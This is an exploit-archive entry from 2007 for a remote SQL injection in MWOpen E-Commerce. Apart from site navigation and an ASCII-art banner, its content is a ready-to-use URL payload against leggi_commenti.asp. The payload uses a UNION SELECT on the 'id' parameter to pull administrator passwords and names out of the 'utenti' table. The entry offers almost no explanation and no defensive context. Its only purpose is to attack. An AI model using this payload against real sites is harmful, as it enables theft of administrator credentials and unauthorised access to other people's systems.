[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MWOpen E-Commerce leggi_commenti.asp Remote SQL Injection
# Published : 2007-12-06
# Author : KiNgOfThEwOrLd
# Previous Title : SerWeb <= 2.0.0 dev1 2007-02-20 Multiple RFI / LFI Vulnerabilities
# Next Title : Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vuln
---------------------------------------------------------------
____ __________ __ ____ __
/_ | ____ |_______ _____/ |_ /_ |/ |_
| |/ | | _(__ <_/ ___ __ ______ | __
| | | | |/ ___| | /_____/ | || |
|___|___| /__| /______ /___ >__| |___||__|
/______| / /
---------------------------------------------------------------
Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
---------------------------------------------------------------
MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection
---------------------------------------------------------------
#By KiNgOfThEwOrLd
---------------------------------------------------------------
PoC:
Nothing to say..
Corrupted Page:
leggi_commenti.asp
Corrupted Variabile:
?id=
Exploit:
http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null,
null,password,nome,null,data,null+from+utenti+where+Admin=true
---------------------------------------------------------------
# www.Syue.com [2007-12-06]